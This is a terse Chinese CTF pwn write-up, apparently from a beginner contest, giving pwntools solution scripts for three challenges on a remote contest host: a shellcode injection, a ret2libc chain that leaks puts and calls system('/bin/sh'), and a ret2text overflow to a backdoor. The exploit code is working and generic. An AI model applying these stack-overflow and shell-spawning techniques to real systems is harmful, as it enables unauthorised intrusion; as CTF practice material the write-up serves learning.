全是简单题目,直接上exp
NC
直接nc连接,然后ls+cat flag即可。
shellcode
from pwn import* context.arch='amd64' io=remote('gz.imxbt.cn',20029)
shellcode=asm(shellcraft.sh()) io.sendline(shellcode)
io.interactive()
|
ret2libc
from pwn import* elf=ELF('./ezret2libc') libc=ELF('./libc.so.6') io=remote('gz.imxbt.cn',20030)
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main']
rdi=0x0401209 ret=0x040101a
payload=cyclic(0x70+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload) puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts))
libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh'))
payload=cyclic(0x70+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main) io.sendline(payload)
io.interactive()
|
ret2text
from pwn import* io=remote('gz.imxbt.cn',20033)
backdoor=0x401200 ret=0x40101a
payload=cyclic(0x8+8)+p64(ret)+p64(backdoor) io.sendline(payload)
io.interactive()
|